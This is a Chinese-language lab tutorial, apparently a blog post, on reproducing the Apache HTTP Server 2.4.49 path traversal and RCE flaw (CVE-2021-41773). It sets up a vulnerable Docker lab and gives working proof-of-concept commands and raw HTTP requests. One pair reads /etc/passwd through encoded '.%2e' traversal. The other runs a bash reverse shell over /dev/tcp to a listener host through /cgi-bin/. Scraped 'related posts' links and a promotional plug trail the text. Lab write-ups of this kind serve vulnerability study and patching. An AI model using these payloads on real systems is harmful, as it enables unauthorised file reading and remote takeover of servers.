一、漏洞描述

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:

1、版本等于2.4.49
2、Require all granted(默认情况下是允许被访问的)。

攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

二、影响版本

Apache HTTP Server 2.4.49

三、靶场准备

本实验使用vulhub环境,节约搭建时间

mkdir Dockerfile //在空目录里面创建Dockerfile目录
cd Dockerfile //进入Dockerfile目录
vi Dockerfile //创建文件Dockerfil并编写


DockerFile文件内容:

FROM httpd:2.4.49RUN set -ex \&& sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \&& sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \&& sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \&& cat /usr/local/apache2/conf/httpd.conf \| tr '\n' '\r' \| perl -pe 's|<Directory />.*?</Directory>|<Directory />\n    AllowOverride none\n    Require all granted\n</Directory>|isg' \| tr '\r' '\n' \| tee /tmp/httpd.conf \&& mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

接下来在 Dockerfile 文件的存放目录下,执行构建动作。
以下示例,通过目录下的 Dockerfile 构建一个 httpd:2.4.49rce(镜像名称:镜像标签)。

注:最后的 . 代表本次执行的上下文路径。

docker build -t  httpd:2.4.49rce .


运行docker

docker run  -d -p 85:80 httpd:2.4.49rce


之后就可以通过浏览器访问量(如果浏览器访问不了,重新启动实验机后再启动docker就可以解决该问题)

四、POC测试

目录遍历POC:

curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

或者

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close


在服务器上启用 mods cgi 或 cgid 后,此路径遍历漏洞将允许任意命令执行,(此靶场是已启用cgid)

远程代码执行POC:

curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://XXXXX:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

或者

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 8echo;pwd


另外有检测工具,可以直接检测和getshell:

五、漏洞修复

升级到Apache HTTP Server最新版本。

更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥

Apahce HTTPd 2.4.49(CVE-2021-41773)漏洞复现详细教程相关推荐

  1. android studio 2021版本下载安装详细教程(超详细)2022,一步步教你

    介绍如何安装android studio,目前版本是2021.1.1,虽然是2022年了,但是版本还是没更新. 一.下载 主程序我已经放到[andriod studio目录]下,密码3360,大家也不 ...

  2. CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 CVE-2021-41773漏洞描述: Apache HTTPd是Apache基金会开源的一款流 ...

  3. CVE-2021-41773 Apache2.4.49路径穿越漏洞复现

    CVE-2021-41773 Apache2.4.49路径穿越漏洞复现 1. 环境搭建 (1) 下载Apache2.4.49版本镜像 $ docker pull httpd:2.4.49 查看镜像是否 ...

  4. CVE(2017-15715、2021-41773、2021-40438)漏洞复现

    仅用于学习参考,不要贪玩哦(*^▽^*) 目录 CVE-2017-15715 漏洞介绍 漏洞复现 CVE-2021-41773 漏洞介绍 漏洞复现 CVE-2021-40438 漏洞介绍 漏洞复现 一 ...

  5. Apache HTTP Server 2.4.49 路径穿越漏洞复现及利用

    漏洞介绍 Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器.在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响: 版 ...

  6. 2021最新微信影视小程序源码无限代开+搭建详细教程

    源码简介: 小程序可开通流量主,达到开通条件可以选择开通流量主 即可躺着赚钱(流量主可以刷上去,但不推荐,有被封风险) 该程序后端为苹果CMS,绝非网传泛滥源码! 花钱买的某团队自运营版本,百分百的完 ...

  7. 2021年最好的Laravel教程

    2021年最好的Laravel教程 20 Best Laravel Tutorials in 2021 为什么学习Laravel 完善的生态系统 官方提供的软件包(Package) 服务器管理工具和平 ...

  8. Linux 安装httpd(apache)超详细教程

    Linux 安装httpd(apache)超详细教程 1.什么是apache 2.apache的作用 3.实验所需要的环境 4.实验步骤 (yum安装,编译安装) 什么是apache: Apache是 ...

  9. 2021年最新PyCharm使用教程 --- 1、PyCharm的下载与安装

    很多新手朋友对PyCharm的使用无从下手,于是花费了一点时间整理这份PyCharm操作手册, 完整PDF下载: 终于写完了!PyCharm操作手册 V1.0版本 PDF下载 目录如下: 2021年最 ...

最新文章

  1. 2019年,为什么Web前端工程师薪资越来越高?
  2. python画笑脸步骤遇到的问题_用python绘制笑脸的基本步骤
  3. WebAssembly 系列(五)为什么 WebAssembly 更快?
  4. Hive学习笔记 —— Hive概述
  5. Asp.Net分页控件
  6. Ajax设置自定义请求头的两种方法
  7. python day5--正则表达式
  8. O(n* (logn)^2 )的Shell排序——转自Matrix67的博客
  9. 转:expect的基本用法 - Shell - ChinaUnix.net -
  10. 【内推】字节跳动-计算机视觉(实习 线上面试!)
  11. Linux操作系统 - 01 Linux基本命令
  12. 冲突域和广播域的区别
  13. 金山打字计算机实验报告,打字实训报告总结(共10篇).docx
  14. 模板的实例化与具体化
  15. 宽带连接怎么修改服务器名称地址,宽带连接怎么修改服务器名称地址
  16. ArcGIS学习05:坐标系
  17. 10月更新!又一波新功能上线,升级后的EasyOps®简直神了!
  18. 什么是servlet ?简述servlet执行原理?生命周期是怎样的?
  19. tomcat命令行重启
  20. Hibernate Validator 后台数据规则校验拓展

热门文章

  1. #电商#国内外电商网站
  2. 青葱岁月里我拥有了人生第一台电脑
  3. python的return怎么用_python中return如何使用
  4. 中国区块链50城之香港:新政之下STO或成热点 | 链塔智库
  5. HTML5学习笔记 —— JavaScript基础知识
  6. 概率论笔记 by 知乎 sola
  7. 打印纸的纸型区分的标准是什么?[baidu]
  8. 如何查看Web服务器日志
  9. 女人嫁给你,是让你疼的(转载+补充)
  10. 现代信号处理——时频分析与时频分布(Wigner-Ville分布)